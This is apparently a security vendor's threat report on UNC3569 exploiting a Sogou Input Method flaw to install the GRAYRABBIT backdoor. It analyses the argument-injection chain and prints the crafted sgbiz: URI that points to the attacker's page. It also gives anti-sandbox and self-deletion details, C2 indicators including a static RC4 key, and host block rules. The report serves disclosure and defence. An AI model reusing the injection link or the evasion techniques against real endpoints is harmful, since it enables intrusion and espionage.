UNC3569 Exploits Tencent Sogou IME to Drop GRAYRABBIT Backdoor

Security researchers at Gen Threat Labs have uncovered active, in-the-wild exploitation of a critical remote code execution flaw in Tencent's Sogou Input Method. Tracked as CVE-2026-51990, the vulnerability allows remote adversaries to compromise Windows endpoints with zero user interaction beyond clicking a single crafted link. Sogou Input Method is one of China's most widely installed desktop applications, operating on hundreds of millions of enterprise and personal workstations.

Telemetry confirms the exploit chain was weaponized by UNC3569, a sophisticated cyber espionage group with nexus to the People's Republic of China (PRC). The threat actor leveraged the vulnerability to silently deploy GRAYRABBIT, a modular C++ remote access trojan (RAT) engineered for persistent covert surveillance and internal network reconnaissance.

Technical Analysis

The exploit achieves full system code execution by chaining three architectural weaknesses across the application's inter-process communication and rendering layers:

• Protocol Handler Argument Injection: Sogou registers the custom Windows URI protocol handler sgbiz:, managed by biz_helper.exe. While the binary validates the module parameter against path traversal, the accompanying param parameter passes user-supplied command-line switches directly to target executables without any sanitization, filtering, or allowlisting.
• Unrestricted Webview Navigation: By passing arguments targeting the configuration binary SGMyInput.exe with switches -page=skincenter and -url=<malicious_url>, attackers instantiate the application's built-in Chromium Embedded Framework (CEF) skin marketplace webview. The routine SkinCenterWebViewEvent::OnWebViewIsReady navigates the embedded browser to the attacker-controlled URL without verifying the scheme or validating domains against an allowlist.
• Unsandboxed, Deprecated Browser Engine: Rendering is executed by SGWebRender.exe, which loads a severely outdated build of CEF (CEF 80.1.16 / Chromium 80.0.3987.163, dating back to March 2020). The binary explicitly configures CefSettings.no_sandbox = TRUE, completely disabling the Chromium renderer sandbox. Additionally, it hardcodes runtime command-line switches including --disable-web-security and --allow-file-access-from-files, stripping away the Same-Origin Policy (SOP).

To trigger exploitation, UNC3569 served an exploit payload leveraging CVE-2021-38003, a known V8 engine type-confusion vulnerability in JSON.stringify. The exploit achieves arbitrary heap read/write, locates a WebAssembly instance mapped into Read-Write-Execute (RWX) memory, overwrites the page with shellcode, and executes directly on the host without encountering sandbox restrictions.

Attack Vector & Impact

UNC3569 orchestrated a multi-stage infection pipeline designed for maximum stealth and defensive evasion:

• Initial Access (T1204.001, T1190): The victim is lured into clicking a crafted URI scheme link (such as sgbiz:sg_process?module=sgmyinput.exe&param=-page=skincenter -url=https://noht1ng.top/fuckujjbangx.html) via targeted spear-phishing or watering-hole lures.
• Staging & Sideloading (T1574.002): The 921-byte shellcode resolves Windows APIs via export hashing and downloads an archive from an Alibaba Cloud staging server at 8.218.50.207. The package drops legitimate executable 7z.exe alongside a trojanized DLL loader 7zp.dll (internal name boy.dll).
• Anti-Sandbox Execution Gate: When 7z.exe invokes the exported routine GetModuleProp, the loader takes a process snapshot via CreateToolhelp32Snapshot. If fewer than 50 processes are active (indicative of an automated analysis sandbox), it computes a deliberately corrupt XOR key. On real hosts (50+ processes), it calculates a deterministic XOR key through a 50,000-iteration floating-point loop.
• Thread Pool Execution & ADS Self-Deletion (T1027): Decrypted payloads execute via the Windows Thread Pool API (CreateThreadpoolWork), circumventing telemetry rules monitoring standard CreateThread calls. The loader immediately self-deletes by renaming its default data stream to a randomized NTFS Alternate Data Stream (FileRenameInfo) before issuing FileDispositionInfo.
• GRAYRABBIT C2 Communication: The decrypted payload (core.dll) initiates raw TCP sockets to C2 domain mail.uaiubifas.top over port 443. All communications are segmented into 4096-byte frames encrypted with RC4 using the static key m5b1u3. The implant supports interactive reverse command shells, remote process execution, system discovery, and runtime modular plugin loading.

Detection & Mitigation

Organizations operating endpoints with Chinese-language input method software must enforce immediate remediation and defensive hunting across internal networks:

Vendor Patch Deployment

• Sogou Input Method v16.3.0.3498: Tencent deployed an automatic security update that mitigates the front-door exploit vector. The patched biz_helper.exe validates custom URLs using InternetCrackUrlW, restricts navigation exclusively to HTTPS, and strictly enforces a domain suffix allowlist (sogou.com, qq.com, woa.com, sogou).
• Ongoing Architecture Risk: Security teams should note that Tencent did not update the underlying Chromium 80 engine or re-enable the CEF sandbox. Workstations with high security requirements should evaluate alternative IMEs or sandbox third-party input software.

Endpoint Hunting & Forensic Artifacts

Security analysts should audit endpoint telemetry for anomalous Sogou process trees and indicators:

• Process Lineage Anomaly: Flag instances where biz_helper.exe spawns SGMyInput.exe with command-line flags containing -url pointing to external, non-whitelisted domains.
• Anomalous Child Processes: Monitor for SGWebRender.exe creating network connections to untrusted external IPs or spawning Windows shell binaries (cmd.exe, powershell.exe).
• Persistence Artifacts: Inspect temporary and local app data directories for unexpected instances of 7z.exe accompanied by 7zp.dll exhibiting the export GetModuleProp.

Network Defense & C2 Indicators

Network security controls must block egress traffic associated with UNC3569 operations:

• Block Hostname: Deny DNS resolution and IP connections to mail.uaiubifas.top and exploit host noht1ng.top.
• Block Staging Infrastructure: Block incoming and outgoing traffic to Alibaba Cloud IP 8.218.50.207.
• Snort / Suricata Rule Logic: Inspect outbound raw TCP traffic on port 443 lacking TLS handshakes and matching RC4 encrypted 4096-byte frames.